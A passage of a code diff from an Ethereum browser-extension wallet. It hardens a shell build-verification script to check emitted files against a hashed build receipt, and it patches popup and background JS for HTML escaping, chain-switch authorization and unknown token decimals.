+    and nothing was established about them. That is a permissions or I/O fault
+    on the artifact, not a mismatch. Refusing to report success."
+
+    SHA="${_rs_out%% *}"
+    case "$SHA" in
+    "" | *[!0-9a-f]*)
+        fail "$SHA256 produced no usable digest for $1, so its bytes were never
+    checked. Refusing to report success."
         ;;
     esac
+    [ "${#SHA}" -eq 64 ] ||
+        fail "$SHA256 produced a ${#SHA}-character digest for $1, which is not
+    a sha256. Refusing to report success."
 }
 
 # Read one bundle's DEBUG state into MARKER. Exactly one marker must be
@@ -140,40 +204,189 @@ read_marker() {
     fi
 }
 
-# The manifest says which bundles must carry a marker. This says no other
-# emitted file may carry one, which catches a manifest that has gone stale
-# or short rather than trusting whatever it happens to list.
+# --- the receipt ------------------------------------------------------------
+
+# Split one "file <sha256> <A|P> <path>" line into ENTRY_HASH, ENTRY_FLAG and
+# ENTRY_PATH, and require the shape rather than assuming it. The path is the
+# remainder of the line, so a path carrying a space or a tab would be read back
+# as something other than what was written; build.js refuses to emit such a
+# name, and a receipt that contains one is malformed rather than describing a
+# file. Every rejection here is a failure: a line that cannot be understood is
+# a file that would otherwise go unchecked.
+parse_file_line() {
+    case "$1" in
+    "file "*) ;;
+    *)
+        fail "$RECEIPT line $LINENO_R is not a file entry and this script does
+    not know what it means: ${1}. Refusing to report success."
+        ;;
+    esac
+
+    _pl="${1#file }"
+    ENTRY_HASH="${_pl%% *}"
+    _pl="${_pl#* }"
+    ENTRY_FLAG="${_pl%% *}"
+    ENTRY_PATH="${_pl#* }"
+
+    case "$ENTRY_HASH" in
+    "" | *[!0-9a-f]*) fail "$RECEIPT line $LINENO_R has no sha256: $1" ;;
+    esac
+    [ "${#ENTRY_HASH}" -eq 64 ] ||
+        fail "$RECEIPT line $LINENO_R has a ${#ENTRY_HASH}-character digest,
+    which is not a sha256: $1"
+
+    case "$ENTRY_FLAG" in
+    A | P) ;;
+    *) fail "$RECEIPT line $LINENO_R has no A/P audit flag: $1" ;;
+    esac
+
+    case "$ENTRY_PATH" in
+    dist/*) ;;
+    *)
+        fail "$RECEIPT line $LINENO_R names a path that is not under dist/:
+    $ENTRY_PATH. The receipt describes the emitted tree and nothing else."
+        ;;
+    esac
+    case "$ENTRY_PATH" in
+    *" "* | *"$TAB"* | *"$NEWLINE"*)
+        fail "$RECEIPT line $LINENO_R names a path containing whitespace, which
+    cannot be read back unambiguously from a line-oriented receipt: $1"
+        ;;
+    esac
+}
+
+# Check one emitted file against its receipt entry: it must be a regular file
+# with exactly the recorded bytes, and its debug marker must match what the
+# caller said this build was.
+check_entry() {
+    [ ! -h "$ENTRY_PATH" ] ||
+        fail "the receipt names $ENTRY_PATH but that path is a symlink. The
+    build emits regular files only, so this is not the file it wrote. Refusing
+    to report success."
+    [ -f "$ENTRY_PATH" ] ||
+        fail "the receipt names $ENTRY_PATH, which does not exist. dist/ does
+    not hold what the build emitted."
+    [ -s "$ENTRY_PATH" ] ||
+        fail "the receipt names $ENTRY_PATH, which is empty. An empty file
+    carries no marker and matches no digest, so this is a failure and not a
+    pass."
+
+    read_sha256 "$ENTRY_PATH"
+    [ "$SHA" = "$ENTRY_HASH" ] ||
+        fail "$ENTRY_PATH does not contain the bytes this build emitted: the
+    receipt records $ENTRY_HASH and the file on disk is $SHA. Something wrote
+    to dist/ after the build, so this artifact is not the one that was built."
+
+    if [ "$ENTRY_FLAG" = A ]; then
+        read_marker "$ENTRY_PATH"
+        [ "$MARKER" = "$EXPECT" ] ||
+            fail "$ENTRY_PATH is $MARKER but this build was told to expect
+    $EXPECT. If AUTISTMASK_DEBUG=1 is exported in the shell that ran make
+    build, that is why: the flag still reaches the compiler, and this is the
+    check that stops the debug artifact being taken for a release one."
+        echo "  ok: $ENTRY_PATH ($MARKER)"
+        AUDITED=$((AUDITED + 1))
+    else
+        if has_marker "$MARKER_ON" "$ENTRY_PATH" ||
+            has_marker "$MARKER_OFF" "$ENTRY_PATH"; then
+            fail "$ENTRY_PATH carries a debug marker but the build did not
+    record it as containing src/shared/constants.js. build.js selects audited
+    bundles with an endsWith(\".js\") test; a marker-carrying file outside that
+    set means the test no longer describes what is emitted, and the DEBUG state
+    of this file was never asserted against anything."
+        fi
+    fi
+    COUNT=$((COUNT + 1))
+}
+
+# Walk the receipt line by line, applying $1 to each file entry. The header and
+# the root line are checked on the way past; the root line is what stops a
+# receipt written by a build of some other tree being pointed at this one.
+walk_receipt() {
+    _wr_each="$1"
+    LINENO_R=0
+    _line=""
+    while IFS= read -r _line || [ -n "$_line" ]; do
+        LINENO_R=$((LINENO_R + 1))
+        if [ "$LINENO_R" -eq 1 ]; then
+            [ "$_line" = "$RECEIPT_HEADER" ] ||
+                fail "$RECEIPT does not start with \"$RECEIPT_HEADER\", so it
+    is not a build receipt this script understands. Refusing to report
+    success."
+            continue
+        fi
+        if [ "$LINENO_R" -eq 2 ]; then
+            [ "$_line" = "root $ROOT" ] ||
+                fail "$RECEIPT was written by a build of a different tree: it
+    says \"$_line\" and this is $ROOT. A receipt only describes the dist/ of
+    the tree it was built in."
+            continue
+        fi
+        parse_file_line "$_line"
+        "$_wr_each"
+    done <"$RECEIPT"
+
+    [ "$LINENO_R" -ge 2 ] ||
+        fail "$RECEIPT is truncated: it has no root line, so it is not a
+    receipt this script can check anything against."
+}
+
+# Pass one: the receipt has to be a receipt before anything is concluded from
+# it. A line this script cannot read is a file that would go unchecked, and a
+# receipt naming no audited bundle asserts no DEBUG state at all — both are
+# failures, and both have to be established before the tree is walked against
+# it, because a receipt entry that was misread would otherwise surface as a
+# complaint about dist/.
+count_entry() {
+    SHAPE_COUNT=$((SHAPE_COUNT + 1))
+    if [ "$ENTRY_FLAG" = A ]; then
+        SHAPE_AUDITED=$((SHAPE_AUDITED + 1))
+    fi
+}
+
+check_receipt_shape() {
+    SHAPE_COUNT=0
+    SHAPE_AUDITED=0
+    walk_receipt count_entry
+
+    [ "$SHAPE_COUNT" -gt 0 ] ||
+        fail "$RECEIPT names no emitted files, so nothing was inspected. A
+    build always emits some."
+    [ "$SHAPE_AUDITED" -gt 0 ] ||
+        fail "$RECEIPT names no bundle containing src/shared/constants.js, so
+    no DEBUG state would be asserted at all. That is never correct, so it is a
+    failure and not a pass."
+}
+
+# Pass three: every file the receipt names, checked against the bytes on disk.
+check_receipt_entries() {
+    walk_receipt check_entry
+}
+
+# --- the emitted tree -------------------------------------------------------
+
+# The receipt says which files the build emitted. This says dist/ contains no
+# others: an artifact that was added after the build, or that a hand-written
+# dist/ brought with it, is not something the build vouches for and is not
+# something this check may pass over.
 #
-# Deliberately unfiltered by extension. build.js selects manifest entries with
-# an endsWith(".js") test; repeating that literal here would mean a bundle
-# emitted under some other extension escaped the manifest AND this check at
-# once, which is the correlated blind spot the two-source design exists to
-# avoid. Every regular file and every symlink under dist/ is searched — that
-# is the whole of what a build emits — so build.js's filter is the only place
-# the assumption lives and this check is what catches it being wrong.
-#
-# That claim only holds if the walk is exhaustive and every name survives it
-# intact, so four things are enforced here rather than assumed:
+# The walk has to be exhaustive and every name has to survive it intact, so
+# four things are enforced rather than assumed:
 #
 #   - the walk is NUL-delimited and the paths reach the check as arguments, so
 #     no name can be reshaped on the way in. Read line by line, a name with a
 #     trailing space lost it to read's field splitting and the remnant then
-#     matched a manifest line, and a name containing a newline arrived as a
-#     listed path plus an empty one. Both left a marker-carrying, unlisted file
-#     unchecked while the script still reported success. Delivering such a name
-#     intact is only half of it; is_listed also has to keep it out of grep's
-#     pattern, for the same reason.
+#     matched a listed path, and a name containing a newline arrived as a
+#     listed path plus an empty one. Both left an unchecked file in dist/ while
+#     the script still reported success.
 #   - find's exit status is checked. A subtree it cannot descend is reported on
 #     stderr and then simply missing from the listing, so an unchecked status
 #     turns "could not look" into "nothing was there" — the same conflation
 #     has_marker exists to prevent. The status cannot be read off a pipeline,
 #     so the listing lands in a file that xargs then reads back.
-#   - symlinks are walked too (-type l), not skipped. A marker-carrying bundle
-#     reachable under an unlisted path in dist/ is a stale manifest whether the
-#     path is a link or a file, and grep reads through the link. A link that
-#     cannot be read through — dangling, or pointing at a directory — fails
-#     hard via has_marker's exit-2 path, which is the fail-closed answer: the
-#     build emits neither, so their DEBUG state is unproven, not fine.
+#   - symlinks are walked too (-type l), not skipped. The build emits none, so
+#     a symlink under dist/ is a path the build did not produce, whatever it
+#     points at, and it fails as one instead of being read through.
 #   - dist/ itself must be a directory and not a symlink, which main asserts
 #     before anything reads through it. find does not follow a symlink named on
 #     its own command line, so a linked dist/ collapses this walk to one entry
@@ -181,7 +394,7 @@ read_marker() {
 #
 # Types other than regular files and symlinks are left out on purpose: a build
 # emits none of them, and grep on a fifo would hang rather than fail.
-check_unlisted_bundles() {
+check_dist_tree() {
     LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" ||
         fail "could not create a temporary file for the dist/ listing, so the
     tree was never walked. Refusing to report success."
@@ -191,105 +404,196 @@ check_unlisted_bundles() {
     [ "$_find_status" -eq 0 ] ||
         fail "find exited $_find_status enumerating dist/, so part of the tree
     was never walked and nothing was established about the files in it. Any
-    unlisted bundle there went unchecked. That is a permissions or I/O fault on
-    the artifact, not a stale manifest. Refusing to report success."
+    file the build did not emit could be sitting there unchecked. That is a
+    permissions or I/O fault on the artifact. Refusing to report success."
 
     _scan_status=0
-    xargs -0 "$SELF" "$SCAN_FLAG" <"$LISTING" || _scan_status=$?
+    xargs -0 "$SELF" "$SCAN_FLAG" "$RECEIPT" <"$LISTING" || _scan_status=$?
     [ "$_scan_status" -eq 0 ] ||
-        fail "the unlisted-bundle scan exited $_scan_status: either a path
-    under dist/ failed the check reported above, or the scan could not be run
-    at all. Refusing to report success."
+        fail "the dist/ tree scan exited $_scan_status: either a path under
+    dist/ failed the check reported above, or the scan could not be run at all.
+    Refusing to report success."
 }
 
-# The per-path half of check_unlisted_bundles. It runs in a re-invocation of
-# this script, so it uses the same is_listed and has_marker as the rest of the
-# file rather than a second copy of them that could drift. Paths arrive as
-# arguments and are never split, joined or trimmed.
+# Does the receipt name the path $1? Compared as whole strings, never through
+# grep: a path found under dist/ is attacker-shaped input, and a pattern is not
+# the place to put one. The receipt's own paths are known to carry no
+# whitespace by the time this runs — verify_receipt failed the run otherwise —
+# so stripping the three leading fields recovers each one exactly.
+receipt_names() {
+    _rn_want="$1"
+    _rn_line=""
+    while IFS= read -r _rn_line || [ -n "$_rn_line" ]; do
+        case "$_rn_line" in
+        "file "*) ;;
+        *) continue ;;
+        esac
+        [ "${_rn_line#file * * }" != "$_rn_want" ] || return 0
+    done <"$RECEIPT"
+    return 1
+}
+
+# The per-path half of check_dist_tree. It runs in a re-invocation of this
+# script, so it uses the same helpers as the rest of the file rather than a
+# second copy of them that could drift. Paths arrive as arguments and are never
+# split, joined or trimmed.
 scan_dist_paths() {
     for _file in "$@"; do
-        if is_listed "$_file"; then
+        if [ -h "$_file" ]; then
+            fail "$_file is a symlink under dist/. The build emits regular
+    files only, so this path is not something it produced, and what it points
+    at is not what was verified. Refusing to report success."
+        fi
+        if receipt_names "$_file"; then
             continue
         fi
-        if has_marker "$MARKER_ON" "$_file" ||
-            has_marker "$MARKER_OFF" "$_file"; then
-            fail "$_file carries a debug marker but is absent from $MANIFEST,
-    so the manifest no longer describes the emitted bundles."
-        fi
+        fail "$_file is under dist/ but the build that just ran did not emit
+    it. dist/ must contain exactly what the build produced: an extra file there
+    is an artifact nothing vouches for, and shipping the directory ships it."
     done
 }
 
-# The requested mode, read from our own environment using build.js's exact
-# rule: only the literal 1 opts in. Deliberately not taken from anything
-# build.js records about itself, so build.js cannot vouch for build.js.
-expected_marker() {
-    if [ "${AUTISTMASK_DEBUG-}" = "1" ]; then
-        echo "$MARKER_ON"
-    else
-        echo "$MARKER_OFF"
-    fi
+# --- arguments --------------------------------------------------------------
+
+# The expected mode and the receipt are stated by the caller. Nothing is read
+# from the environment, and there is no default for either.
+parse_args() {
+    while [ "$#" -gt 0 ]; do
+        case "$1" in
+        --expect)
+            [ "$#" -ge 2 ] || fail "--expect needs an argument (release|debug)."
+            set_expect "$2"
+            shift 2
+            ;;
+        --expect=*)
+            set_expect "${1#--expect=}"
+            shift
+            ;;
+        --receipt)
+            [ "$#" -ge 2 ] || fail "--receipt needs a path."
+            set_receipt "$2"
+            shift 2
+            ;;
+        --receipt=*)
+            set_receipt "${1#--receipt=}"
+            shift
+            ;;
+        *)
+            usage
+            fail "unknown argument: $1"
+            ;;
+        esac
+    done
 }
 
-main() {
-    cd "$ROOT"
+set_expect() {
+    [ -z "$EXPECT" ] || fail "--expect given more than once."
+    case "$1" in
+    release) EXPECT="$MARKER_OFF" ;;
+    debug) EXPECT="$MARKER_ON" ;;
+    *) fail "--expect takes release or debug, not \"$1\"." ;;
+    esac
+}
 
-    # Internal re-entry from check_unlisted_bundles' xargs. Not part of the
+set_receipt() {
+    [ -z "$RECEIPT" ] || fail "--receipt given more than once."
+    [ -n "$1" ] || fail "--receipt was given an empty path."
+    # Resolved against the caller's directory, before main cd's to the repo
+    # root.
+    case "$1" in
+    /*) RECEIPT="$1" ;;
+    *) RECEIPT="$PWD/$1" ;;
+    esac
+}
+
+# --- main -------------------------------------------------------------------
+
+main() {
+    # Internal re-entry from check_dist_tree's xargs. Not part of the
     # command-line interface: nothing else invokes it, and it is a distinct
     # entry point rather than a mode flag threaded through the checks below.
     if [ "${1-}" = "$SCAN_FLAG" ]; then
         shift
+        [ "$#" -ge 1 ] || fail "internal: $SCAN_FLAG needs the receipt path."
+        RECEIPT="$1"
+        shift
+        cd "$ROOT"
+        [ -r "$RECEIPT" ] ||
+            fail "$RECEIPT became unreadable during the run, so the dist/ tree
+    could not be checked against it. Refusing to report success."
         scan_dist_paths "$@"
         return 0
     fi
 
-    expected="$(expected_marker)"
-    echo "Verifying emitted bundles (expecting $expected)..."
+    parse_args "$@"
+
+    [ -n "$EXPECT" ] || {
+        usage
+        fail "no --expect argument. The mode this build was supposed to produce
+    has to be stated by whoever ran the build; it is not a default and it is
+    not read from AUTISTMASK_DEBUG in this script's environment, because an
+    operator with that exported would then have their debug build verified as
+    the release one they asked for."
+    }
+    [ -n "$RECEIPT" ] || {
+        usage
+        fail "no --receipt argument. The list of files to check comes from the
+    build that just ran, not from dist/: without it, a hand-written dist/ would
+    be verifying itself. make build and make build-debug pass one."
+    }
+
+    pick_sha256
+    cd "$ROOT"
 
     # Asserted here rather than left to grep. A symlinked dist/ used to fail
-    # only because GNU grep exits 2 on a directory, so check_unlisted_bundles'
-    # single entry hit has_marker's I/O path by luck; under a grep that exits 1
-    # instead, the whole cross-check would have collapsed into a pass.
+    # only because GNU grep exits 2 on a directory, so the tree walk hit
+    # has_marker's I/O path by luck; under a grep that exits 1 instead, the
+    # whole cross-check would have collapsed into a pass.
     if [ -h dist ]; then
         fail "dist is a symlink, not a directory. find does not follow a
-    symlink named on its own command line, so the unlisted-bundle cross-check
-    would see one entry instead of the emitted tree and establish nothing about
-    it. Refusing to report success."
+    symlink named on its own command line, so the tree walk would see one entry
+    instead of the emitted tree and establish nothing about it. Refusing to
+    report success."
     fi
     [ -d dist ] ||
         fail "dist is not a directory, so there is no emitted tree to verify.
     build.js writes it; run make build first."
 
-    [ -f "$MANIFEST" ] ||
-        fail "$MANIFEST is missing. build.js writes it at the end of a
-    successful build; run make build first."
-    [ -s "$MANIFEST" ] ||
-        fail "$MANIFEST is empty, so no emitted bundle was found to contain
-    src/shared/constants.js. That is never correct, so it is a failure and not
-    a pass."
-    [ -r "$MANIFEST" ] ||
-        fail "$MANIFEST is not readable, so nothing was inspected. That is a
+    case "$RECEIPT" in
+    "$ROOT/dist" | "$ROOT/dist/"*)
+        fail "the receipt is inside dist/ ($RECEIPT). A receipt that lives in
+    the tree it describes is rewritten by whoever rewrites the tree, and vouches
+    for nothing. make build keeps it outside the repo."
+        ;;
+    esac
+
+    [ -e "$RECEIPT" ] ||
+        fail "$RECEIPT is missing. build.js writes it at the end of a
+    successful build; run make build rather than invoking this directly."
+    [ -f "$RECEIPT" ] ||
+        fail "$RECEIPT is not a regular file, so it is not a build receipt."
+    [ -s "$RECEIPT" ] ||
+        fail "$RECEIPT is empty, so the build wrote nothing to it and there is
+    no account of what it emitted. build.js writes the receipt last, so an
+    empty one means the build did not finish."
+    [ -r "$RECEIPT" ] ||
+        fail "$RECEIPT is not readable, so nothing was inspected. That is a
     permissions or I/O fault, not a pass."
 
-    count=0
-    while read -r file; do
-        [ -n "$file" ] || continue
-        [ -f "$file" ] ||
-            fail "$MANIFEST lists $file, which does not exist."
-        [ -s "$file" ] ||
-            fail "$MANIFEST lists $file, which is empty. An empty bundle
-    carries no marker and proves nothing, so this is a failure and not a pass."
-        read_marker "$file"
-        [ "$MARKER" = "$expected" ] ||
-            fail "$file is $MARKER but this build expects $expected."
-        echo "  ok: $file ($MARKER)"
-        count=$((count + 1))
-    done <"$MANIFEST"
+    echo "Verifying emitted files against the build receipt (expecting" \
+        "$EXPECT)..."
 
-    [ "$count" -gt 0 ] || fail "no bundles were inspected."
+    # Order matters. The receipt has to be well-formed before it is used as an
+    # expectation, and the tree has to be walkable in full before any single
+    # file in it is pronounced on: a subtree that cannot be descended makes
+    # every file under it look absent, and "could not look" must never be
+    # reported as "was not there".
+    check_receipt_shape
+    check_dist_tree
+    check_receipt_entries
 
-    check_unlisted_bundles
-
-    echo "verify-build: $count bundle(s) verified $expected"
+    echo "verify-build: $COUNT emitted file(s) verified against the receipt," \
+        "$AUDITED bundle(s) $EXPECT"
 }
 
 main "$@"

src/background/index.js

@@ -3,7 +3,11 @@
 // non-sensitive calls to the configured Ethereum JSON-RPC endpoint.
 
 const { DEFAULT_RPC_URL } = require("../shared/constants");
-const { SUPPORTED_CHAIN_IDS, networkByChainId } = require("../shared/networks");
+const {
+    SUPPORTED_CHAIN_IDS,
+    networkById,
+    networkByChainId,
+} = require("../shared/networks");
 const { onChainSwitch } = require("../shared/chainSwitch");
 const {
     state,
@@ -663,15 +667,59 @@ async function handleRpc(method, params, origin) {
         return { result: [] };
     }
 
-    if (method === "eth_chainId") {
-        return { result: currentNetwork().chainId };
-    }
-
-    if (method === "net_version") {
-        return { result: currentNetwork().networkVersion };
+    // Both answered from currentNetwork(), which reads the module-level state
+    // singleton, and nothing populates that at module scope. A worker revived
+    // by the page's own message therefore held DEFAULT_STATE and told a page
+    // it was on mainnet while the user was on Sepolia
+    // (https://git.eeqj.de/sneak/AutistMask/issues/317).
+    //
+    // Answered from getState() rather than by loading the singleton. Any page
+    // reaches these two — neither is gated on a connection, and the injected
+    // provider sends eth_chainId on every page load — and loadState() replaces
+    // state.wallets wholesale, which would detach the address objects an
+    // in-flight backgroundRefresh() is mutating across its network round trip,
+    // so its saveState() would persist the pre-refresh balances while still
+    // stamping lastBalanceRefresh. getState() is the detached per-call storage
+    // read the other read handlers here already use.
+    // networkById(undefined) falls back to mainnet, matching the default for a
+    // profile with no stored networkId.
+    if (method === "eth_chainId" || method === "net_version") {
+        const s = await getState();
+        const net = networkById(s.networkId);
+        return {
+            result: method === "eth_chainId" ? net.chainId : net.networkVersion,
+        };
     }
 
     if (method === "wallet_switchEthereumChain") {
+        // Gated exactly like the signing methods, and gated before the
+        // same-chain early return. Switching the chain is wallet-wide: it
+        // moves the network the popup shows and the endpoints every other
+        // tab is served from, so a page the user never connected to must
+        // not be able to do it. Ungated, any page could clear the
+        // [TESTNET] banner under a user who believed they were on Sepolia.
+        const s = await getState();
+        const activeAddress = await getActiveAddress();
+        const hostname = extractHostname(origin);
+        const allowed = s.allowedSites[activeAddress] || [];
+        if (
+            !allowed.includes(hostname) &&
+            !connectedSites[origin + ":" + activeAddress]
+        ) {
+            return { error: { code: 4100, message: "Unauthorized" } };
+        }
+
+        // onChainSwitch() mutates the module-level state singleton and then
+        // saves every field of it, and currentNetwork() reads the same
+        // singleton. This worker may have been started by this very message:
+        // nothing loads state at module scope, so without this the singleton
+        // is DEFAULT_STATE, the same-chain check compares against the wrong
+        // network, and the save writes empty wallets, empty allowedSites and
+        // the default endpoints over the user's stored profile
+        // (https://git.eeqj.de/sneak/AutistMask/issues/316). Same precedent
+        // as the transaction path below.
+        await loadState();
+
         const chainId = params?.[0]?.chainId;
         if (chainId === currentNetwork().chainId) {
             return { result: null };

src/popup/views/addToken.js

@@ -1,4 +1,4 @@
-const { $, showView, showFlash, goBack } = require("./helpers");
+const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
 const { getTopTokens } = require("../../shared/tokenList");
 const { state, saveState } = require("../../shared/state");
 const { lookupTokenInfo } = require("../../shared/balances");
@@ -13,7 +13,7 @@ function show() {
     list.innerHTML = getTopTokens(25)
         .map(
             (t) =>
-                `<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${t.address}" data-symbol="${t.symbol}" data-decimals="${t.decimals}">${t.symbol}</button>`,
+                `<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${escapeHtml(t.address)}" data-symbol="${escapeHtml(t.symbol)}" data-decimals="${escapeHtml(t.decimals)}">${escapeHtml(t.symbol)}</button>`,
         )
         .join("");
     list.querySelectorAll(".common-token").forEach((btn) => {

src/popup/views/addressDetail.js

@@ -6,6 +6,7 @@ const {
     addressDotHtml,
     addressTitle,
     escapeHtml,
+    displaySymbol,
     truncateMiddle,
     renderAddressHtml,
     attachCopyHandlers,
@@ -221,10 +222,12 @@ function renderTransactions(txs) {
                   : tx.from;
         const ensName = ensNameMap.get(counterparty) || null;
         const title = addressTitle(counterparty, state.wallets);
-        const dirLabel = tx.directionLabel;
+        // The explorer's method name for a contract call, title-cased.
+        const dirLabel = escapeHtml(tx.directionLabel);
+        const sym = displaySymbol(tx.symbol);
         const amountStr = tx.value
-            ? escapeHtml(tx.value + " " + tx.symbol)
-            : escapeHtml(tx.symbol);
+            ? escapeHtml(tx.value + " " + sym)
+            : escapeHtml(sym);
         const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
         const displayAddr =
             title || ensName || truncateMiddle(counterparty, maxAddr);

src/popup/views/addressToken.js

@@ -9,6 +9,7 @@ const {
     addressDotHtml,
     addressTitle,
     escapeHtml,
+    displaySymbol,
     truncateMiddle,
     balanceLine,
     renderAddressHtml,
@@ -124,7 +125,11 @@ function show() {
     currentSymbol = symbol;
 
     $("address-token-title").textContent =
-        wallet.name + " \u2014 Address " + (ai + 1) + " \u2014 " + symbol;
+        wallet.name +
+        " \u2014 Address " +
+        (ai + 1) +
+        " \u2014 " +
+        displaySymbol(symbol);
 
     // Blockie
     const blockieEl = $("address-token-jazzicon");
@@ -174,7 +179,9 @@ function show() {
             (knownToken && knownToken.symbol) ||
             null;
         const tokenName = rawName ? escapeHtml(rawName) : null;
-        const tokenSymbol = rawSymbol ? escapeHtml(rawSymbol) : null;
+        const tokenSymbol = rawSymbol
+            ? escapeHtml(displaySymbol(rawSymbol))
+            : null;
         const tokenDecimals =
             tb && tb.decimals != null
                 ? tb.decimals
@@ -288,10 +295,12 @@ function renderTransactions(txs) {
         const counterparty = tx.direction === "sent" ? tx.to : tx.from;
         const ensName = ensNameMap.get(counterparty) || null;
         const title = addressTitle(counterparty, state.wallets);
-        const dirLabel = tx.directionLabel;
+        // The explorer's method name for a contract call, title-cased.
+        const dirLabel = escapeHtml(tx.directionLabel);
+        const sym = displaySymbol(tx.symbol);
         const amountStr = tx.value
-            ? escapeHtml(tx.value + " " + tx.symbol)
-            : escapeHtml(tx.symbol);
+            ? escapeHtml(tx.value + " " + sym)
+            : escapeHtml(sym);
         const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
         const displayAddr =
             title || ensName || truncateMiddle(counterparty, maxAddr);
@@ -361,7 +370,7 @@ function init(_ctx) {
         }
         // Hide dropdown, show static token display
         $("send-token").classList.add("hidden");
-        let staticHtml = `<div class="font-bold">${escapeHtml(currentSymbol)}</div>`;
+        let staticHtml = `<div class="font-bold">${escapeHtml(displaySymbol(currentSymbol))}</div>`;
         if (tokenId !== "ETH") {
             staticHtml += `<div class="text-xs">${renderAddressHtml(tokenId)}</div>`;
         }

src/popup/views/approval.js

@@ -21,6 +21,10 @@ const {
 const { getPrice, formatUsd } = require("../../shared/prices");
 const { ERC20_ABI } = require("../../shared/constants");
 const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
+const {
+    resolveTokenDecimals,
+    unknownDecimalsAmount,
+} = require("../../shared/approvalAmount");
 const { decryptWithPassword } = require("../../shared/vault");
 const { getSignerForAddress } = require("../../shared/wallet");
 const { walletDefect } = require("../../shared/walletDefects");
@@ -43,6 +47,23 @@ function formatTxValue(val) {
     return parts[0] + "." + dec;
 }
 
+// The amount line for a decoded ERC-20 call. With a known scale it is the
+// token quantity; with `decimals` null it is the base-unit integer with the
+// unknown scale stated, because formatting it with an assumed scale is what
+// showed a 5,000-token transfer as `0.0000`. `raw` is what the status screens
+// carry, `display` is what the approval screen shows.
+function tokenAmountText(rawAmount, decimals, symbol) {
+    if (decimals === null) {
+        const unknown = unknownDecimalsAmount(rawAmount);
+        return { raw: unknown, display: unknown };
+    }
+    const formatted = formatTxValue(formatUnits(rawAmount, decimals));
+    return {
+        raw: formatted,
+        display: formatted + (symbol ? " " + symbol : ""),
+    };
+}
+
 function tokenLabel(address) {
     const t = TOKEN_BY_ADDRESS.get(address.toLowerCase());
     return t ? t.symbol : null;
@@ -59,7 +80,15 @@ function decodeCalldata(data, toAddress) {
         if (parsed) {
             const token = TOKEN_BY_ADDRESS.get(toAddress.toLowerCase());
             const tokenSymbol = token ? token.symbol : null;
-            const tokenDecimals = token ? token.decimals : 18;
+            // null when no source knows this token's scale. It is not
+            // defaulted to 18: an amount formatted with a guessed scale is
+            // the wrong number, and for a token with fewer decimals than the
+            // guess it is the wrong number in the direction that reads as
+            // zero. See tokenAmountText().
+            const tokenDecimals = resolveTokenDecimals(toAddress, {
+                trackedTokens: state.trackedTokens,
+                wallets: state.wallets,
+            });
             const contractLabel = tokenSymbol
                 ? tokenSymbol + " (" + toAddress + ")"
                 : toAddress;
@@ -71,12 +100,11 @@ function decodeCalldata(data, toAddress) {
                     "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
                 );
                 const isUnlimited = rawAmount === maxUint;
-                const amountRaw = isUnlimited
-                    ? "Unlimited"
-                    : formatTxValue(formatUnits(rawAmount, tokenDecimals));
-                const amountStr = isUnlimited
-                    ? "Unlimited"
-                    : amountRaw + (tokenSymbol ? " " + tokenSymbol : "");
+                // An unbounded allowance needs no scale to describe, so it is
+                // still named rather than refused.
+                const amount = isUnlimited
+                    ? { raw: "Unlimited", display: "Unlimited" }
+                    : tokenAmountText(rawAmount, tokenDecimals, tokenSymbol);
 
                 return {
                     name: "Token Approval",
@@ -97,8 +125,8 @@ function decodeCalldata(data, toAddress) {
                         },
                         {
                             label: "Amount",
-                            value: amountStr,
-                            rawValue: amountRaw,
+                            value: amount.display,
+                            rawValue: amount.raw,
                         },
                     ],
                 };
@@ -107,11 +135,11 @@ function decodeCalldata(data, toAddress) {
             if (parsed.name === "transfer") {
                 const to = parsed.args[0];
                 const rawAmount = parsed.args[1];
-                const amountRaw = formatTxValue(
-                    formatUnits(rawAmount, tokenDecimals),
+                const amount = tokenAmountText(
+                    rawAmount,
+                    tokenDecimals,
+                    tokenSymbol,
                 );
-                const amountStr =
-                    amountRaw + (tokenSymbol ? " " + tokenSymbol : "");
 
                 return {
                     name: "Token Transfer",
@@ -128,8 +156,8 @@ function decodeCalldata(data, toAddress) {
                         { label: "Recipient", value: to, address: to },
                         {
                             label: "Amount",
-                            value: amountStr,
-                            rawValue: amountRaw,
+                            value: amount.display,
+                            rawValue: amount.raw,
                         },
                     ],
                 };

src/popup/views/confirmTx.js

@@ -10,6 +10,7 @@ const {
     showView,
     addressTitle,
     escapeHtml,
+    displaySymbol,
     renderAddressHtml,
     attachCopyHandlers,
     goBack,
@@ -25,6 +26,10 @@ const {
     getFullWarnings,
 } = require("../../shared/addressWarnings");
 const { ERC20_ABI, isBurnAddress } = require("../../shared/constants");
+const {
+    displayedDecimals,
+    transferAmountUnits,
+} = require("../../shared/transferAmount");
 const {
     CODES,
     FEE_PENDING,
@@ -53,7 +58,7 @@ function restore() {
 
 function blockieHtml(address) {
     const src = makeBlockie(address);
-    return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
+    return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
 }
 
 function confirmAddressHtml(address, ensName, title) {
@@ -77,7 +82,11 @@ function show(txInfo) {
     feeWei = null;
 
     const isErc20 = txInfo.token !== "ETH";
-    const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
+    // The raw symbol is the price-table key; the capped one is what the
+    // screen says. Truncating before the lookup would silently drop the
+    // price of any token whose symbol is long enough to be capped.
+    const rawSymbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
+    const symbol = displaySymbol(rawSymbol);
 
     // Transaction type
     if (isErc20) {
@@ -119,7 +128,7 @@ function show(txInfo) {
 
     // Amount (with inline USD)
     const ethPrice = getPrice("ETH");
-    const tokenPrice = getPrice(symbol);
+    const tokenPrice = getPrice(rawSymbol);
     const amountNum = parseFloat(txInfo.amount);
     const price = isErc20 ? tokenPrice : ethPrice;
     const amountUsd = price ? amountNum * price : null;
@@ -152,7 +161,12 @@ function show(txInfo) {
         warningsEl.innerHTML = localWarnings
             .map(
                 (w) =>
-                    `<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${w.message}</div>`,
+                    // Only the three hardcoded strings in
+                    // src/shared/addressWarnings.js reach this today, but
